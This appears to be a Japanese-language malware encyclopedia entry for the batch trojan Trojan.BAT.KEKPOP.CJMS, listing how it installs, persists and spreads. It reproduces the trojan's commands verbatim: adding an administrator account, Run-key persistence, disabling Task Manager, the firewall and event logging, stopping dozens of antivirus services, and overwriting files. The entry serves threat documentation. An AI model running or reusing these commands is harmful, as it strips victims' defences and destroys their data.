Trojan.BAT.KEKPOP.CJMS

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のファイルを作成します。

• {User Profile}\Documents\black.bat → Detected as Trojan.BAT.KEKPOP.YXCEST
• {User Profile}\Documents\%VfLON:~15
• {Malware Path}\kekpop.txt

マルウェアは、以下のプロセスを追加します。

• attrib +h +s {Malware Filename}
• %System%\cmd.exe /K black.bat
• powershell -command "Set-ExecutionPolicy Unrestricted"
• %System%\scrnsave.scr /s
• net localgroup administrators session /ADD
• %System%\net1 localgroup administrators session /ADD
• reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "rundll32_26556_toolbar" /t "REG_SZ" /d {Malware Filename} /f
• reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\.bat /f
• reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f
• RUNDLL32 USER32.DLL SwapMouseButton
• net stop "WinDefend"
• taskkill /f /t /im "MSASCui.exe"
• net stop "wuauserv"
• net stop "security center"
• net stop sharedaccess
• netsh firewall set opmode mode-disable
• cmd.exe
• net stop "Security Center" /y
• net stop "Automatic Updates" /y
• net stop "Symantec Core LC" /y
• net stop "SAVScan" /y
• net stop "norton AntiVirus Firewall Monitor Service" /y
• net stop "norton AntiVirus Auto-Protect Service" /y
• net stop "norton AntiVirus Auto Protect Service" /y
• net stop "McAfee Spamkiller Server" /y
• net stop "McAfee Personal Firewall Service" /y
• net stop "McAfee SecurityCenter Update Manager" /y
• net stop "Symantec SPBBCSvc" /y
• net stop "Ahnlab Task Scheduler" /y
• net stop navapsvc /y
• net stop "Sygate Personal Firewall Pro" /y
• net stop vrmonsvc /y
• net stop MonSvcNT /y
• net stop SAVScan /y
• net stop NProtectService /y
• net stop ccSetMGR /y
• net stop ccEvtMGR /y
• net stop srservice /y
• net stop "Symantec Network Drivers Service" /y
• net stop "norton Unerase Protection" /y
• net stop MskService /y
• net stop MpfService /y
• net stop mcupdmgr.exe /y
• net stop "McAfeeAntiSpyware" /y
• net stop helpsvc /y
• net stop ERSvc /y
• net stop "*norton*" /y
• net stop "*Symantec*" /y
• net stop "*McAfee*" /y
• net stop ccPwdSvc /y
• net stop "Serv-U" /y
• net stop "norton AntiVirus Client" /y
• net stop "Symantec AntiVirus Client" /y
• net stop "norton AntiVirus Server" /y
• net stop "NAV Alert" /y
• net stop "Nav Auto-Protect" /y
• net stop "McShield" /y
• net stop "DefWatch" /y
• net stop eventlog /y
• net stop InoRPC /y
• net stop InoRT /y
• net stop InoTask /y
• net stop "norton AntiVirus Corporate Edition" /y
• net stop "ViRobot Professional Monitoring" /y
• net stop "PC-cillin Personal Firewall" /y
• net stop "Trend Micro Proxy Service" /y
• net stop "Trend NT Realtime Service" /y
• net stop "McAfee.com McShield" /y
• net stop "McAfee.com VirusScan Online Realtime Engine" /y
• net stop "SyGateService" /y
• net stop "Sophos Anti-Virus" /y
• net stop "Sophos Anti-Virus Network" /y
• net stop "eTrust Antivirus Job Server" /y
• net stop "eTrust Antivirus Realtime Server" /y
• net stop "eTrust Antivirus RPC Server" /y
• net stop netsvcs
• net stop spoolnt
• tskill iexplore
• tskill msnmsgr
• tskill excel
• tskill iTunes
• tskill calc
• tskill msaccess
• tskill safari
• tskill mspaint
• tskill outlook
• tskill WINWORD
• xcopy /y kekpop.txt {File to Encrypt}

自動実行方法

マルウェアは、自身のコピーがWindows起動時に自動実行されるよう以下のレジストリ値を追加します。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run
rundll32_26556_toolbar = {Malware Filename}.bat

KEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
AVAADA = %Windows%\.bat